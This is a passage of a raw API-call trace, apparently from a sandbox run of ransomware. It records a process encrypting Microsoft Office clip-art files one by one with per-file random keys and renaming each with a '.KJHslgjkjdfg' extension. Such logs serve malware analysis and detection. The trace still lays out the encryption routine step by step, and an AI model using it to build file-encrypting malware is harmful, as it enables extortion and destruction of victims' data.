hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0244.546] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0244.546] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0244.546] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0244.546] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0244.546] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.547] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1a2c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1a2c, lpOverlapped=0x0) returned 1 [0244.712] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1a30, dwBufLen=0x1a30 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1a30) returned 1 [0244.712] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.712] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1a30, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1a30, lpOverlapped=0x0) returned 1 [0244.712] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0244.712] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1b04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.712] SetEndOfFile (hFile=0x130) returned 1 [0244.715] GetProcessHeap () returned 0x2ef0000 [0244.715] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0244.715] GetProcessHeap () returned 0x2ef0000 [0244.715] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0244.715] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sprng_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sprng_01.mid.kjhslgjkjdfg")) returned 1 [0244.718] CloseHandle (hObject=0x130) returned 1 [0244.718] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xbd6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="STUBBY1.WMF", cAlternateFileName="")) returned 1 [0244.718] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\STUBBY1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\stubby1.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0244.720] GetProcessHeap () returned 0x2ef0000 [0244.720] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0244.720] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0244.720] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0244.720] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0244.980] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0244.980] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0244.980] GetProcessHeap () returned 0x2ef0000 [0244.980] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0244.980] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0244.980] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0244.980] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0244.980] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0244.980] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0244.980] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0244.980] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0244.980] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0244.980] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0244.980] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0244.980] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.981] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xbd6, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xbd6, lpOverlapped=0x0) returned 1 [0244.981] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xbe0, dwBufLen=0xbe0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xbe0) returned 1 [0244.981] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.981] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xbe0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xbe0, lpOverlapped=0x0) returned 1 [0244.981] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0244.981] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xcb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.981] SetEndOfFile (hFile=0x130) returned 1 [0244.989] GetProcessHeap () returned 0x2ef0000 [0244.989] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0244.989] GetProcessHeap () returned 0x2ef0000 [0244.989] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0244.989] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\STUBBY1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\stubby1.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\STUBBY1.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\stubby1.wmf.kjhslgjkjdfg")) returned 1 [0244.991] CloseHandle (hObject=0x130) returned 1 [0244.991] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xa16, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="STUBBY2.WMF", cAlternateFileName="")) returned 1 [0244.991] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\STUBBY2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\stubby2.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0244.993] GetProcessHeap () returned 0x2ef0000 [0244.993] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0244.993] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0244.993] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0244.993] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0245.550] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0245.550] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0245.550] GetProcessHeap () returned 0x2ef0000 [0245.550] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0245.550] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0245.550] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0245.550] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0245.550] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0245.550] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0245.550] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0245.550] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0245.550] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0245.550] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0245.550] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0245.550] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.550] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xa16, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xa16, lpOverlapped=0x0) returned 1 [0245.551] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xa20, dwBufLen=0xa20 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xa20) returned 1 [0245.551] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.551] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xa20, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xa20, lpOverlapped=0x0) returned 1 [0245.551] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0245.551] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xaf4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.551] SetEndOfFile (hFile=0x130) returned 1 [0245.553] GetProcessHeap () returned 0x2ef0000 [0245.553] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0245.553] GetProcessHeap () returned 0x2ef0000 [0245.553] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0245.553] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\STUBBY2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\stubby2.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\STUBBY2.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\stubby2.wmf.kjhslgjkjdfg")) returned 1 [0245.555] CloseHandle (hObject=0x130) returned 1 [0245.555] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5ac7a110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x36dc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SUMER_01.MID", cAlternateFileName="")) returned 1 [0245.555] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sumer_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0245.557] GetProcessHeap () returned 0x2ef0000 [0245.557] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0245.557] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0245.557] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0245.557] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0245.574] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0245.574] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0245.574] GetProcessHeap () returned 0x2ef0000 [0245.574] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0245.574] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0245.574] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0245.574] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0245.574] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0245.574] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0245.574] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0245.574] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0245.575] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0245.575] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0245.575] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0245.575] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.575] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x36dc, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x36dc, lpOverlapped=0x0) returned 1 [0245.595] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x36e0, dwBufLen=0x36e0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x36e0) returned 1 [0245.595] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.595] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x36e0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x36e0, lpOverlapped=0x0) returned 1 [0245.595] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0245.596] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x37b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.596] SetEndOfFile (hFile=0x130) returned 1 [0245.598] GetProcessHeap () returned 0x2ef0000 [0245.598] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0245.598] GetProcessHeap () returned 0x2ef0000 [0245.598] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0245.598] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sumer_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sumer_01.mid.kjhslgjkjdfg")) returned 1 [0245.600] CloseHandle (hObject=0x130) returned 1 [0245.600] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2135, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SWEST_01.MID", cAlternateFileName="")) returned 1 [0245.600] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\swest_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0245.601] GetProcessHeap () returned 0x2ef0000 [0245.601] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0245.601] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0245.601] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0245.601] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xb, lpOverlapped=0x0) returned 1 [0245.618] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0245.618] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0245.618] GetProcessHeap () returned 0x2ef0000 [0245.619] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0245.619] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0245.619] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0245.619] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0245.619] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0245.619] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0245.619] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0245.619] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0245.619] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0245.619] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0245.619] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 